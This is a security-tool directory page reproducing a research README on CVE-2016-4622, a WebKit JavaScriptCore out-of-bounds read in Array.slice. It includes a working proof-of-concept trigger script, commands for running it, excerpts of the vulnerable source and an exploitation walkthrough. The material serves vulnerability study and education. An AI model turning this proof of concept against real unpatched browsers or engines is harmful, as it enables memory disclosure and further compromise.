Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WebKit-CVE-2016-4622 — Deep-dive analysis and exploitation walkthrough of CVE-2016-4622, a WebKit JavaScriptCore memory disclosure vulnerability via Array.slice TOCTOU race condition, with PoC code and debugging setup. | Kitploit
Tools/GitHubGitHub/hdbreaker/webkit-cve-2016-4622
Memory ForensicsVulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubhdbreaker/webkit-cve-2016-4622

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WebKit-CVE-2016-4622

Deep-dive analysis and exploitation walkthrough of CVE-2016-4622, a WebKit JavaScriptCore memory disclosure vulnerability via Array.slice TOCTOU race condition, with PoC code and debugging setup.

View Repository
235181 year agoReviewed by Kitploit

WebKit CVE-2016-4622 Analysis: Deep Dive into the Slice ValueOf Fastpath Vulnerability

Comprehensive analysis and exploitation of the WebKit JavaScript Core vulnerability that enables memory disclosure through Array.slice manipulation

Table of Contents

  • Executive Summary
  • Vulnerability Overview
  • Research Environment Setup
  • Technical Analysis
  • Exploitation Walkthrough
  • Key Findings
  • Resources and References

Executive Summary

This repository contains a comprehensive analysis of CVE-2016-4622, a critical memory disclosure vulnerability in WebKit's JavaScript Core engine. The vulnerability stems from a race condition in the Array.slice() implementation that can be exploited to leak adjacent memory contents, serving as a foundation for more sophisticated exploitation primitives like addrof and fakeobj.

Impact: Memory disclosure leading to potential remote code execution Affected Component: WebKit JavaScript Core (JSC) Root Cause: Time-of-check-time-of-use (TOCTOU) vulnerability in fastSlice implementation


Vulnerability Overview

The Core Issue

The vulnerability exists in WebKit's optimized "fast path" for the Array.slice() method. When processing slice parameters, the engine converts object arguments to primitive values by calling their valueOf() method. This conversion happens after determining the slice operation parameters but before the actual memory copy operation.

Attack Vector

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

What happens:

  1. Array a is created with 100 elements
  2. During slice parameter processing, valueOf() is called
  3. The malicious valueOf() shrinks the array to length 0
  4. memcpy attempts to copy 10 elements from an empty array
  5. Result: Adjacent memory is copied, causing information disclosure

Research Environment Setup

Repository Structure

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Reference implementation by Saelo
├── Exploit/                        # Custom exploitation attempts
│   ├── poc-memleak.js             # Memory leak proof-of-concept
│   └── slice_over_array.js        # Educational examples
├── WebKit-SRC-CVE-2016-4622/     # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/                   # Compiled binaries for testing
│   ├── Debug/                     # Debug build with symbols
│   └── ASAN/                      # AddressSanitizer enabled build
└── Screenshoots/                  # Visual documentation

Testing Environment

Binaries: Pre-compiled JSC binaries built on VMWare OSX 10.11 with XCode 7.3.2 Architecture: x86_64 Mach-O executables Debug Features: Symbols + AddressSanitizer for comprehensive analysis

Running the Proof of Concept

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Technical Analysis

Understanding Array.slice() Mechanics

The Array.slice(begin, end) method creates a shallow copy of a portion of an array. Under normal circumstances:

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Returns ['b', 'c']

Key insight: The end parameter undergoes type conversion via valueOf(), creating a window for exploitation.

Call Stack Analysis

When the vulnerability triggers, AddressSanitizer captures this call flow:

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Stack Trace Analysis

Deep Dive: Function-by-Function Analysis

1. arrayProtoFuncSlice() - Entry Point

Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - The Conversion Trigger

Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

The Race Condition:

  • When processing the second parameter {valueOf: function() { a.length = 0; return 10; }}
  • value.toInteger(exec) calls our malicious valueOf()
  • Our function modifies the array length from 100 to 0
  • But the slice operation parameters (begin=0, end=10) remain unchanged

3. fastSlice() - Where Memory Corruption Occurs

Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

The Memory Corruption:

  • startIndex = 0, count = 10
  • Array length is now 0 (modified by valueOf())
  • memcpy reads 10 JSValues starting from index 0
  • Since the array is empty, this reads adjacent heap memory
  • Result: Information disclosure vulnerability

Exploitation Walkthrough

Step-by-Step Attack Flow

  1. Setup Phase

    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.123);
    
    • Creates ArrayWithDouble type with 100 elements
    • Elements are stored contiguously in memory
  2. Trigger Phase

    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    
    • Initiates slice operation with malicious object as end parameter
    • Fast path validation passes (array appears normal)
Download Tool